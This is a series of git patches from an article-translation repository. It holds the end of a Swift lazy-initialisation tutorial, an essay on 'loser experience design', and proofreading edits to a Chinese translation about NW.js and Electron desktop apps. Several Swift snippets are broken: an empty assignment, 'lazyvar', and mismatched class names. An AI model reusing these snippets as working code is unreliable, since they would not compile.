+leftCornerButton.layer.masksToBounds = true
+
+let rightCornerButton = UIButton(frame: buttonSize)
+rightCornerButton.backgroundColor = .black
+rightCornerButton.titleLabel?.text = "Button"
+rightCornerButton.titleLabel?.textColor = .white
+rightCornerButton.layer.cornerRadius = 
+rightCornerButton.layer.masksToBounds = true
+```
+
+Although creating an object with the closure add a couple lines more, I feel less overwhelmed since I only have to add attributes to `button` rather than `rightCornerButton` or `leftCornerButton`.
+
+*In fact, if the name of a button gets more descriptive, often times it requires fewer lines to create an object with a closure block.*
+
+**You’ve accomplished the first objective. Congratulations**
+
+### Lazy Init Application ###
+
+You’ve come a long way. It’s time to meet the second objective of this tutorial.
+
+You might have seen something like this below
+
+```
+class IntenseMathProblem {
+ lazyvar complexNumber: Int = {
+  // imagine it requires a lot of CPU
+  1 * 1
+ }()
+}
+```
+
+What `lazy` allows you to do is, the `complexNumber` property will be only calculated when you try to access it. For example,
+
+```
+let problem = IntenseMathProblem 
+problem()  // No value for complexNumber 
+```
+
+Currently, there is no value for `complexNumber`. However, once you access the property,
+
+```
+problem().complexNumber // Now returns 1
+```
+
+The `lazy var` is often used to sort database and fetch data from any backend services because you definitely don’t want to calculate and sort everything when you create an object.
+
+*In fact, your phone will crash since the object is super bloated and the RAM can’t handle.*
+
+### Application ###
+
+Below is just an application of `lazy var`.
+
+#### Sorting ####
+
+```
+class SortManager {
+ lazy var sortNumberFromDatabase: [Int] = {
+  // Sorting logic
+  return [1, 2, 3, 4]
+ }()
+}
+```
+
+#### Image Compression ####
+
+```
+class CompressionManager {
+ lazy var compressedImage: UIImage = {
+  let image = UIImage()
+  // Compress the image
+  // Logic
+  return image
+ }()
+}
+```
+
+### Rules with `Lazy` ###
+
+1. You can’t use `lazy` with `let` since there is no initial value, and it is attained later when it is accessed.
+2. You can’t use it with a `computed property` since computed property is always recalculated (requires CPU) when you modify any of the variables that has a relationship with the `lazy` property.
+3. `Lazy` is only valid for members of a struct or class
+
+### Does Lazy Capture? ###
+
+So, if you’ve read the previous article on [Retention Cycle in Closures and Delegate](https://blog.bobthedeveloper.io/swift-retention-cycle-in-closures-and-delegate-836c469ef128) , you might wonder. Let’s test it out. Create a class called `BobGreet`. It has two properties: `name` whose type is `String` and `greeting` whose type is also `String` but initialized with a closure block.
+
+```
+class BobGreet {
+ var name = "Bob the Developer"
+ lazy var greeting: String = {
+  return "Hello, \(self.name)"
+ }()
+
+deinit { 
+  print("I'm gone, bruh 🙆&zwj;")}
+ }
+}
+```
+
+The closure block *might* have a strong reference to `BobGuest` but let’s attempt to deallocate.
+
+```
+var bobGreet: BobGreet? = BobClass()
+bobGreet?.greeting
+bobClass = nil // I'm gone, bruh 🙆&zwj;
+```
+
+No need to worry about `[unowned self]` The closure block does not have a reference to the object. Instead, it just copies `self` within the closure block. If you are confused by the previous statement, feel free to read [Swift Capture Lists](https://blog.bobthedeveloper.io/swift-capture-list-in-closures-e28282c71b95) to learn more. 👍
+
+### Last Remarks ###
+
+I learned a quite a bit while preparing for this tutorial. I hope you did as well. I’d appreciate your genuine fat ❤️. But, there is just one more. As the last objective, if you wish to on my mailing list and receive greater value from me, you can sign up right [**here**](https://boblee.typeform.com/to/oR9Nt2) .
+
+As you can see by the cover photo, I recently bought Magic Keyboard and Mouse. They are pretty good and increase my productivity a lot. You can get the mouse [here](http://amzn.to/2noHxgl)  or the keyboard [here](http://amzn.to/2noHxgl). I never regret despite the price. 😓
+
+> [Source Code](https://github.com/bobthedev/Blog_Lazy_Init_with_Closures) 
+
+### Swift Conference I Will Join ###
+
+I will be joining my first conference @[SwiftAveir](https://twitter.com/SwiftAveiro) o from June 1–2. A friend of mine, [Joao](https://twitter.com/NSMyself) , is helping organize the conference, so I’m super excited. You can learn more about the event [here](http://swiftaveiro.xyz) !
+
+#### Recommended Articles ####
+
+> Intro to Functional Programming ([Blog](https://blog.bobthedeveloper.io/intro-to-swift-functional-programming-with-bob-9c503ca14f13))
+
+> My Favorite Xcode Shortcuts ([Blog](https://blog.bobthedeveloper.io/intro-to-swift-functional-programming-with-bob-9c503ca14f13) )
+
+### Bob the Developer ###
+
+I’m an iOS instructor from Seoul, 🇰🇷. Feel free to get to know me on [Instagram](https://instagram.com/bobthedev) . I post regular updates on [Facebook Page](https://facebook.com/bobthedeveloper)  and 🖨 on Sat 8pm EST.
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 360e4e55dce24e687e9b1d80344131a2b70d5f58 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 7 Apr 2017 22:03:19 +0800
Subject: [PATCH 062/638] Update secure-web-app-http-headers.md

---
 TODO/secure-web-app-http-headers.md | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/TODO/secure-web-app-http-headers.md b/TODO/secure-web-app-http-headers.md
index 4514e6c4c2a..e2f1066fd33 100644
--- a/TODO/secure-web-app-http-headers.md
+++ b/TODO/secure-web-app-http-headers.md
@@ -6,12 +6,6 @@
 
 ## [How To Secure Your Web App With HTTP Headers](https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/) ##
 
-
-Today, too many websites are still inaccessible. In our new book *Inclusive Design Patterns*, we explore how to craft **flexible front-end design patterns** and make **future-proof and accessible interfaces without extra effort**. Hardcover, 312 pages. [Get the book now!](https://shop.smashingmagazine.com/products/inclusive-design-patterns?utm_source=magazine&amp;utm_campaign=inclusive-design-patterns&amp;utm_medium=html-ad-content-1)
-
-[![](https://www.smashingmagazine.com/wp-content/uploads/2016/10/inclusive-design-pattners-250px.png)](https://shop.smashingmagazine.com/products/inclusive-design-patterns?utm_source=magazine&amp;utm_campaign=inclusive-design-patterns&amp;utm_medium=html-ad-content-1) 
-
-
 Web applications, be they thin websites or thick single-page apps, are notorious targets for cyber-attacks. In 2016, approximately [40% of data breaches](http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/) originated from attacks on web apps — the leading attack pattern. Indeed, these days, understanding cyber-security is not a luxury but rather **a necessity for web developers**, especially for developers who build consumer-facing applications.
 
 HTTP response headers can be leveraged to tighten up the security of web apps, typically just by adding a few lines of code. In this article, we’ll show how web developers can use HTTP headers to build secure apps. While the code examples are for Node.js, setting HTTP response headers is supported across all major server-side-rendering platforms and is typically simple to set up.

From 3a3a9df00e43ef7a88fb8d62a78c464ce9d0d44a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 7 Apr 2017 22:15:05 +0800
Subject: [PATCH 063/638] Create on-loser-experience-design.md

---
 TODO/on-loser-experience-design.md | 70 ++++++++++++++++++++++++++++++
 1 file changed, 70 insertions(+)
 create mode 100644 TODO/on-loser-experience-design.md

diff --git a/TODO/on-loser-experience-design.md b/TODO/on-loser-experience-design.md
new file mode 100644
index 00000000000..733b4435aba
--- /dev/null
+++ b/TODO/on-loser-experience-design.md
@@ -0,0 +1,70 @@
+> * 原文地址：[On Loser Experience Design](https://medium.com/on-human-centric-systems/on-loser-experience-design-1916629c36fc)
+> * 原文作者：[Matt LeMay](https://medium.com/@mattlemay?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# On Loser Experience Design #
+
+## Designing platforms and products that aren’t just for winners, “influencers,” and “thought leaders.” ##
+
+![](https://cdn-images-1.medium.com/max/800/1*kVOEiUv3YK8tcYEa5QKmLA.jpeg)
+
+Turntable.fm, a Great Lesson in Loser Experience Design
+
+Do you remember turntable.fm? The idea behind the product was simple and brilliant: you join a virtual “room” with friends and/or strangers, and take turns DJing for each other. Like a lot of products that experience meteoric early-stage growth, it took a real-world behavior — social listening — and created a digital proxy that could instantly connect people across geographic and cultural divides. I was super-excited when turntable.fm launched, and I was not alone.
+
+But the more I used turntable.fm, the more I started to feel like — well, a *loser*. I was primarily interested in discovering new music, not in becoming a **star virtual DJ**. But the platform seemed to offer no encouragement or incentives for being a good listener, no shiny prizes for thoughtfully engaging in conversation with my virtual roommates. My avatar remained puny and plain, while others grew mighty, adorned with jewels, and outfitted with cool animal costumes. Eventually, I just gave up.
+
+**Turntable.fm suffered from bad loser experience design: making casual users feel like unwitting competitors in a game they cannot win.**
+
+In the absence of good loser experience design, products and platforms turn into ghost towns inhabited by thirsty would-be “influencers,” howling desperately into a void that was once occupied by curious, casual users. And in a world obsessed with performance metrics and status markers, bad loser experience design is all around us.
+
+#### The Patterns of Bad Loser Experience Design ####
+
+Here are a few signs that your product may be suffering from **bad loser experience design:**
+
+![](https://cdn-images-1.medium.com/max/600/1*k_ZpnygG7JhLUteHxZOJyQ.png)
+
+Illustration by [Joan LeMay](http://joanlemay.com) 
+
+- **You have a “leaderboard” or a points system.**
+
+Yes, in the short-term, people may engage with a product for an abstract reward such as “points” or “[coins](https://techcrunch.com/2015/12/09/swarm-now-lets-you-spend-those-coins-on-upgraded-stickers/) .” But watch what happens as your users see themselves fall to the bottom of that “leaderboard” or fail to get any real value out of the time they’ve invested in earning those shiny trinkets. Competing for something only to realize that it’s worthless is embarrassing, frustrating, and makes you feel *like a huge loser*. Gratuitous “gamification” is one of the most odious and lazy patterns of bad loser experience design — and in the long term, it [doesn’t work](http://www.gartner.com/newsroom/id/2251015) .
+
+- **You visually distinguish the winners from the losers.**
+
+Twitter’s verification system was designed to foster trust by “verifying” that people are who they say they are. But in its early days, “verification” felt like a [badge of honor for “important” people](http://anildash.com/2013/03/what-its-like-being-verified-on-twitter.html) and an [aspirational delineator between the haves and have-nots](http://www.xojane.com/tech/how-to-get-verified-on-twitter) . Twitter took a great step towards mitigating this bad loser experience design when they bulk-verified journalists, making it clear that there was a functional *purpose* to this distinction and conferring it on people who are not high-status celebrities.
+
+- **You over-index on popularity metrics.**
+
+This is perhaps the most widespread pattern of bad loser experience design. Trying to decide what content to surface? How about the most popular content! Trying to find some “interesting” users? Look for the ones who have the most followers! This is the “rich get richer” problem of bad loser experience design — by building platforms that reward the people who are already succeeding, you create a permanent and inaccessible overclass that tends to reward the people who are the most ruthless and aggressive about increasing their own status — even if it means gaming the system.
+
+- **You treat casual users like failed power users.**
+
+Zach Holman’s “[Don’t Give Your Users the Shit Work](https://zachholman.com/posts/shit-work/) ” does a great job of describing this bad loser experience pattern in action: a new user gets onboarded, and is immediately presented with a barrage of “power user” features that will help them get the *most* out of this product. If they neglect to use these features, they find themselves stuck in a kind of permanent limbo, nagged by reminders to use features they don’t need and unable to derive immediate value from the product. If you treat casual users like failed power users, they will start to *feel *like failures — and they will leave.
+
+#### Tips for Good Loser Experience Design ####
+
+While bad loser experience design can significantly harm a product, *good* loser experience design can help foster a broad, engaged, and self-sustaining user base. Here are a few tips for good loser experience design:
+
+- **Help people find *their* people, not the most popular people.**
+
+When platforms focus on shared interests and social bonds over “likes” and “favorites,” they help everybody find a place where they belong. Instagram has done a great job doing this with their discovery features, consistently surfacing people who are adjacent to *your* people, not people with the most likes or followers. Their new discovery features have helped me find my [guitar](https://www.instagram.com/leoleoband/) [people](https://www.instagram.com/lostincrystalcanyons/) , my [cat](https://www.instagram.com/scruffles_fatcat/)[people](https://www.instagram.com/12catslady/) , and even to discover a whole new community of [prairie](https://www.instagram.com/rinran032/) [dog](https://www.instagram.com/prairiedogpack/) [people](https://www.instagram.com/pimpa_wan/) . As I’ve used these discovery features more, I’ve started to pay *less attention to how many “follows” and “likes” I get, and more attention to the people with whom I interact* — which is a surefire signal of great loser experience design.
+
+- **Give “passive” users meaningful ways to engage.**
+
+Tumblr’s reblog feature is a great example of good loser experience design. If somebody sees something they like, they can *share it to their entire network*, rather than just leaving a comment or a “like.” This helps people engage with each other more deeply, and means that a post written by somebody with a small number of followers can find a wide audience as it makes its way through networks and communities of people. It also gives people who don’t want to “write” a post a meaningful way to contribute and engage.
+
+- **Test your product with people who are not “power users.”**
+
+Finally, and perhaps most importantly, break out of the design and testing patterns that lead to equating “power users” with “good users.” Over-reliance on internal “dogfooding,” where new products and features are tested primarily with a company’s own employees, is a one-way ticket to bad loser experience design. Dismissing user testing candidates who are not over the moon for your product is another surefire road to bad loser experience design. Think through the needs and behaviors of casual users as extensively as you think through those of “power users” — and ask yourself, “if I only use this product a few times a week, will it make me feel like a *loser*?”
+
+#### Loser Experience Design in the Wild ####
+
+Has your day-to-day usage of a product or platform been affected by bad loser experience design? Leave a response and let me know your thoughts. And be sure to hit that “like” button, so that I can feel like a high-status *winner* right here on medium dot com.
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From c7230b4ac0ba734d2c4062851c97149fcf7a2270 Mon Sep 17 00:00:00 2001
From: sqrtthree <imsqrtthree@gmail.com>
Date: Fri, 7 Apr 2017 22:22:00 +0800
Subject: [PATCH 064/638] update link

---
 TODO/swift-lazy-initialization-with-closures.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/swift-lazy-initialization-with-closures.md b/TODO/swift-lazy-initialization-with-closures.md
index 00d175ee6b5..051ab41f287 100644
--- a/TODO/swift-lazy-initialization-with-closures.md
+++ b/TODO/swift-lazy-initialization-with-closures.md
@@ -1,5 +1,5 @@
 > * 原文地址：[Swift Lazy Initialization with Closures](https://blog.bobthedeveloper.io/swift-lazy-initialization-with-closures-a9ef6f6312c)
-> * 原文作者：[Bob Lee](https://blog.bobthedeveloper.io/@bobthedev?source=post_header_lockup)
+> * 原文作者：[Bob Lee](https://blog.bobthedeveloper.io/@bobthedev)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：
 > * 校对者：

From de20c171c428fc387c46314efd0266f8710ce9bb Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Sat, 8 Apr 2017 00:22:18 +0800
Subject: [PATCH 065/638] update according to proof-reading

---
 TODO/beyond-browser-web-desktop-apps.md | 140 ++++++++++++------------
 1 file changed, 69 insertions(+), 71 deletions(-)

diff --git a/TODO/beyond-browser-web-desktop-apps.md b/TODO/beyond-browser-web-desktop-apps.md
index 7b4f8ffcec8..9803dd3b2c6 100644
--- a/TODO/beyond-browser-web-desktop-apps.md
+++ b/TODO/beyond-browser-web-desktop-apps.md
@@ -2,31 +2,31 @@
 > * 原文作者：本文已获原作者 [Adam Lynch](https://www.smashingmagazine.com/author/adamlynch/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者： [bambooom](https://github.com/bambooom)/[imink](https://github.com/imink)
-> * 校对者：
+> * 校对者：[bambooom](https://github.com/bambooom)/[sunui](https://github.com/sunui)
 
 ## 超越浏览器：从 web 应用到桌面应用
 
-一开始我是个 web 开发者，现在我是个全栈开发者，但从未想过在桌面上有所作为。我热爱 web 技术，热爱这个无私的社区，热爱它对于开源的友好，尝试挑战极限。我热爱探索好看的网站和强大的应用。当我被指派做桌面应用的任务的时候，我非常忧虑和害怕，因为那看起来很难，或者至少非常不同。
+一开始我是个 web 开发者，现在我是个全栈开发者，但从未想过在桌面上有所作为。我热爱 web 技术，热爱这个无私的社区，热爱它对于开源的友好，尝试挑战极限。我热爱探索好看的网站和强大的应用。当我被指派做桌面应用任务的时候，我非常忧虑和害怕，因为那看起来很难，或者至少不一样。
 
 这并不吸引人，对吧？你需要学一门新的语言，甚至三门？想象一下过时的工作流，古旧的工具，没有任何你喜欢的有关 web 的一切。你的职业发展会被怎样影响呢？
 
-别慌，深呼吸，现实情况是，作为 web 开发者，你已经拥有一切开发现代桌面应用所需的一切技能，感谢新的强大的 API，你甚至可以在桌面应用中发挥你最大的潜能。
+别慌，深呼吸，现实情况是，作为 web 开发者，你已经拥有开发现代桌面应用所需的一切技能，得益于新的强大的 API，你甚至可以在桌面应用中发挥你最大的潜能。
 
 本文将会介绍使用 [NW.js](http://nwjs.io/) 和 [Electron](https://electron.atom.io/) 开发桌面应用，它们的优劣，使用同一套代码库给桌面、web，甚至更多。
 
 ### 为什么？
 
-首先，为什么会有人开发桌面应用？任何现有的 web 应用（不同于网站，如果你认为它们是不同的）都可能适合变成一个桌面应用。你可以围绕任何可以从与用户系统集中中获益的 web 应用构建桌面应用；例如本地通知，开机启动，与文件的交互等。有些用户单纯更喜欢在自己的电脑中永久保存一些 app，无论是否联网都可以访问。
+首先，为什么会有人开发桌面应用？任何现有的 web 应用（不同于网站，如果你认为它们是不同的）都可能适合变成一个桌面应用。你可以围绕任何可以从与用户系统集成中获益的 web 应用构建桌面应用；例如本地通知，开机启动，与文件的交互等。有些用户单纯更喜欢在自己的电脑中永久保存一些 app，无论是否联网都可以访问。
 
 也许你有个想法，但只能用作桌面应用，有些事情只是在 web 应用中不可能实现（至少还有一点，但更多的是这一点）。你可能想要为公司内部创建一个独立的功能性应用程序，而不需要任何人安装除了你的 app 之外的任何内容（因为内置 Node.js ）。也许你有个有关 Mac 应用商店的想法，也许只是你的一个个人兴趣的小项目。
 
-很难总结为什么你应该考虑开发桌面应用，因为真的有很多类型的应用你可以创建。这非常取决于你想要达到什么目的，API 是否足够有利于开发，离线使用将多大程度上增强用户体验。在我的团队，这些都是毋庸置疑的，因为我们在开发一个[聊天应用程序](https://teamwork.com/chat)。另一方面来说，一个依赖于网络而没有任何与系统集成的桌面应用应该是一个 web 应用，并且只是 web 应用。当用户并不能从桌面应用中获得比在浏览器中访问一个网址更多的价值的时候，期待用户下载你的应用（其中自带浏览器以及 Node.js）是不公平的。
+很难总结为什么你应该考虑开发桌面应用，因为真的有很多类型的应用你可以创建。这非常取决于你想要达到什么目的，API 是否足够有利于开发，离线使用将多大程度上增强用户体验。在我的团队，这些都是毋庸置疑的，因为我们在开发一个[聊天应用程序](https://teamwork.com/chat)。另一方面来说，一个依赖于网络而没有任何与系统集成的桌面应用应该做成一个 web 应用，并且只做 web 应用。当用户并不能从桌面应用中获得比在浏览器中访问一个网址更多的价值的时候，期待用户下载你的应用（其中自带浏览器以及 Node.js）是不公平的。
 
-比起描述你个人应该建造的桌面应用以及为什么建造，我更希望的是激发一个想法，或者只是激发你对这篇文章的兴趣。继续往下读来看看用 web 技术构造一个强大的桌面应用是多么简单，以及需要承受的困难超过（或者相同）创造一个 web 应用。
+比起描述你个人应该建造的桌面应用及其原因，我更希望的是激发一个想法，或者只是激发你对这篇文章的兴趣。继续往下读来看看用 web 技术构造一个强大的桌面应用是多么简单，以及创建完成（或者在这过程中）一个 web 应用你需要承受什么。。
 
 ### NW.js
 
-桌面应用已经有很长一段时间了，我知道你没有很多时间，所以我们跳过一些历史，从2011年的上海开始。来自 Intel 开源技术中心的 Roger Wang 创造了 node-webkit，一个概念验证的 Node.js 模块，这个模块可以让用户生成一个自带 WebKit 内核的浏览器窗口并直接在 `<script>` 中使用 Node.js 模块。
+桌面应用已经有很长一段时间了，我知道你没有很多时间，所以我们跳过一些历史，从2011年的上海开始。来自 Intel 开源技术中心的 Roger Wang 开发了 node-webkit，一个概念验证的 Node.js 模块，这个模块可以让用户创建一个 WebKit 内核的浏览器窗口并直接在 `<script>` 中调用 Node.js 模块。
 
 经过一段时间的开发以及将内核从 WebKit 转换到 Chromium（Google Chrome 基于这个开源项目开发），一个叫 Cheng Zhao 的实习生加入了这个项目。不久就有人意识到一个基于 Node.js 和 Chromium 运行的应用是一个很好的建造桌面应用的框架。于是这个项目变得颇受欢迎。
 
@@ -36,7 +36,7 @@
 
 ![Chromium diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/chromiumDiagram-preview-opt.png)
 
-Chromium 有一个主要的后台进程，每个标签页也会有自己的进程。你可能注意到 Google Chrome 在 Windows 的任务管理器或者 macOS 的活动监视器上总是至少存在两个进程。我并没有尝试在这里安排穿插主后台进程相关的内容，但是它包括了 Blink 渲染引擎，V8 JavaScript 引擎（也就是构建了 Node.js ）以及一些从原生 API 抽象出来的平台 API。每个独立的标签页或渲染的过程都可以使用 JavaScript 引擎，CSS 解析器等，但为了提高容错性，它们又和主进程是完全隔离的。渲染进程与主进程之前是用进程间通信（IPC）来进行通讯。
+Chromium 有一个主要的后台进程，每个标签页也会有自己的进程。你可能注意到 Google Chrome 在 Windows 的任务管理器或者 macOS 的活动监视器上总是至少存在两个进程。我并没有尝试在这里安排穿插主后台进程相关的内容，但是它包括了 Blink 渲染引擎，V8 JavaScript 引擎（也构建了 Node.js ）以及一些从原生 API 抽象出来的平台 API。每个独立的标签页或渲染的过程都可以使用 JavaScript 引擎，CSS 解析器等，但为了提高容错性，它们又和主进程是完全隔离的。渲染进程与主进程之间是用进程间通信（IPC）来进行通讯。
 
 ![NW.js diagram](https://www.smashingmagazine.com/wp-content/uploads/2017/01/nwjsDiagram-preview-opt.png)
 
@@ -85,16 +85,15 @@ Chromium 有一个主要的后台进程，每个标签页也会有自己的进
 
 ![Screenshot of clippy.desktop on macOS](https://www.smashingmagazine.com/wp-content/uploads/2017/01/clippy-preview-opt.png)
 
-现在你可以写 HTML，CSS 和 JavaScript 了，你可以使用 Node.js 读取或写入硬盘，执行系统命令，生成其他可执行文件等等。设想一下，你甚至可以通过 WebRTC 造一个多玩家的轮盘赌游戏，随机删除其他人的文件。
+现在你可以写 HTML，CSS 和 JavaScript 了，你可以使用 Node.js 读写硬盘，执行系统命令，生成其他可执行文件等等。设想一下，你甚至可以通过 WebRTC 造一个多玩家的轮盘赌游戏，随机删除其他人的文件。
 
 ![Bar graph showing the number of modules per major package manager](https://www.smashingmagazine.com/wp-content/uploads/2017/01/moduleCounts-preview-opt.png)
 
-你不仅可以使用 Node.js 的 APIs，还有所有 npm 的包，现在已经有超过35万个了。例如，[auto-launch](https://github.com/Teamwork/node-auto-launch) 是我们在 [Teamwork.com](https://www.teamwork.com/) 做的开源包，用来开机启动 NW.js 或者 Electron 应用。
+你不仅可以使用 Node.js 的 API，还有所有 npm 的包，现在已经有超过35万个了。例如，[auto-launch](https://github.com/Teamwork/node-auto-launch) 是我们在 [Teamwork.com](https://www.teamwork.com/) 做的开源包，用来开机启动 NW.js 或者 Electron 应用。
 
-如果你需要做一些偏底层的事，Node.js 也有原生的模块，能让你使用 C 或者 C++创建模块。
+如果你需要做一些偏底层的事，Node.js 也有原生的模块，能让你使用 C 或者 C++ 创建模块。
 
-总之，NW.js 高效包装了原生的 API，让你可以简单的与桌面环境集成。
-比如你有一个托盘图标，使用系统默认应用打开一个文件或者 URL 之类的。你需要做的是使用 HTML5 notification 的 API 触发一个通知：
+总之，NW.js 高效封装了原生的 API，让你可以简单地与桌面环境集成。比如你有一个任务栏图标，使用系统默认应用打开一个文件或者 URL 之类的。你需要做的是使用 HTML5 notification 的 API 触发一个通知：
 
 ```javascript
 new Notification('Hello', {
@@ -104,7 +103,7 @@ new Notification('Hello', {
 
 ### Electron
 
-你可能认出来了，下图是 GitHub 开发的编辑器，Atom。不管你是否使用 Atom，它的出现对于桌面应用都是一个颠覆者。GitHub 从 2013 年开始开发 Atom，后来 Cheng Zhao 加入，fork 了 node-webkit 作为基础，后来开源名称为 atom-shell。
+你可能认出来了，下图是 GitHub 开发的编辑器，Atom。不管你是否使用 Atom，它的出现对于桌面应用都是一个颠覆者。GitHub 从 2013 年开始开发 Atom，后来 Cheng Zhao 加入，fork 了 node-webkit 作为基础，后来以 atom-shell 为名开源。
 
 ![Atom screenshot](https://www.smashingmagazine.com/wp-content/uploads/2017/01/atom-preview-opt.png)
 
@@ -114,7 +113,7 @@ new Notification('Hello', {
 
 ![Logos of projects that use Electron](https://www.smashingmagazine.com/wp-content/uploads/2017/01/logos-preview-opt.png)
 
-和 Atom 一样，其他用 Electron 开发的有名项目包括 [Slack](https://slack.com/)、[Visual Studio Code](https://code.visualstudio.com/)、 [Brave](https://www.brave.com/)、[HyperTerm](https://hyper.is/)、[Nylas](https://www.nylas.com/)，真的是在做着一些尖端的东西。Mozilla Tofino 也是其中一个很有趣的，它是 Mozilla（ FireFox 的公司）的一个内部项目，目标是彻底优化浏览器。你没看错，Mozilla 的团队选择了 Electron （基于 Chromium ）来做这个实验。
+和 Atom 一样，其他用 Electron 开发的有名项目包括 [Slack](https://slack.com/)、[Visual Studio Code](https://code.visualstudio.com/)、 [Brave](https://www.brave.com/)、[HyperTerm](https://hyper.is/)、[Nylas](https://www.nylas.com/)，真的是在做着一些尖端的东西。Mozilla Tofino 也是其中很有趣的一个，它是 Mozilla（ FireFox 的公司）的一个内部项目，目标是彻底优化浏览器。你没看错，Mozilla 的团队选择了 Electron （基于 Chromium ）来做这个实验。
 
 ### Electron 有什么不同呢？
 
@@ -124,7 +123,7 @@ new Notification('Hello', {
 
 Electron 团队修补了 Chromium 以便嵌入多个可以同时运行的 JavaScript 引擎，所以当 Chromium 发布新版本的时候，他们不需要做任何事。
 
-*注意*：NW.js 与 Chromium 的绑定不太一样，造成了 NW.js 经常被指责不如 Electron 那样紧跟 Chromium。然而，整个2016年，NW.js 每次在 Chromium 发布主要版本之后的24小时内发布新版本，这很大程度也归功于团队组织转型。
+*注意*：NW.js 与 Chromium 的绑定不太一样，造成了 NW.js 经常被指责不如 Electron 那样紧跟 Chromium。然而，整个 2016 年，NW.js 每次在 Chromium 发布主要版本之后的 24 小时内发布新版本，这很大程度也归功于团队组织转型。
 
 回到主进程的话题，你的应用默认是没有窗口的，但是你可以从主进程开启任意多个窗口，每个窗口和 NW.js 一样有自己的渲染进程。
 
@@ -149,7 +148,7 @@ Electron 团队修补了 Chromium 以便嵌入多个可以同时运行的 JavaSc
 // main.js 文件，现在是空的
 ```
 
-没有什么会发生，因为你的 app 没有默认窗口。接下来你可以和 NW.js 一样打开任意多个窗口，每个都有各自的渲染进程。
+没有什么会发生，因为你的 app 没有默认窗口。接下来你可以和 NW.js 应用一样打开任意多个窗口，每个都有各自的渲染进程。
 
 ```javascript
 // main.js
@@ -178,25 +177,25 @@ app.on('ready', () => {
 </html>
 ```
 
-你可以在这个窗口中加载远程 URL，但是一般来说你会在本地创建 HTML 文件并加载它，好啦~加载出来啦！
+你可以在这个窗口中加载远程 URL，但是一般来说你会在本地创建 HTML 文件并加载它，当当当当～加载出来啦！
 
 ![Screenshot of example Electron app](https://www.smashingmagazine.com/wp-content/uploads/2017/01/electronHelloWorld-preview-opt.png)
 
-在 Electron 提供的模块中，像在前面例子中使用的 `app` 和 `BrowserWindow`，大多只能要么在主进程要么在某个渲染进程中使用。比方说，你只能在主进程中管理你的所有窗口，自动更新或者其他。你可能想在主进程中点击一个按钮触发一些事件，Electron 为 IPC 提供了一些内置方法。基本上你可以发出任意的事件，然后在另一端监听它们。这样，你就可以在某一个渲染进程中捕获 `click` 事件，通过 IPC 发出事件信息给主进程，主进程捕获后执行相关操作。
+在 Electron 提供的内置模块中，像在前面例子中使用的 `app` 和 `BrowserWindow`，大多只能要么在主进程要么在某个渲染进程中使用。比方说，你只能在主进程中管理你的所有窗口，自动更新或者其他。你可能想在主进程中点击一个按钮触发一些事件，因此 Electron 为 IPC 提供了一些内置方法。基本上你可以触发任意的事件，然后在另一端监听它们。这样，你就可以在某一个渲染进程中捕获 `click` 事件，通过 IPC 发出事件信息给主进程，主进程捕获后执行相关操作。
 
-Electron 有着不同的进程，你需要稍微不同地组织你的 app，但这不算什么。为什么使用 Electron 而不是 NW.js？这其中有影响力的因素，有很多相关的工具和模块是它流行起来的结果。 Electron 的文档更好懂，最重要的是，Electron 的 bug 更少，并且有更好的 API。
+Electron 有着不同的进程，你需要稍微不同地组织你的 app，但这不算什么。为什么人们使用 Electron 而不是 NW.js？这其中有影响力的因素，它的流行造就了许多相关的工具和模块。 Electron 的文档更好懂，最重要的是，Electron 的 bug 更少，并且有更好的 API。
 
 Electron 的文档非常棒，这值得再强调一下。拿 [Electron API Demos app](https://github.com/electron/electron-api-demos) 来说，这是个 Electron app，它可以交互式的演示出你可通过 Electron 的 API 做到什么。比如新建窗口，它不仅提供了 API 的描述以及示例代码，甚至点击按钮的确可以执行代码并打开新的窗口。（下图就是 Electron API Demos app 的截图）
 
 ![A screenshot of the Electron API Demos app](https://www.smashingmagazine.com/wp-content/uploads/2017/01/apiDemosApp-preview-opt.png)
 
-如果你通过 Electron 的 bug 追踪器提交问题，你可以在几天之内得到回复。我曾经见过 NW.js 有经过三年都未修复的 bug，我并不是坚决反对他们这么做，开发开源项目采用的语言和使用这个项目的开发者了解的语言如此的不同，是非常难维护的。NW.js 和 Electron 主要是用 C++ （以及少部分 Objective C++）写的，但是使用这两个项目的人写的是 JavaScript。我非常感激 NW.js 给我的帮助。
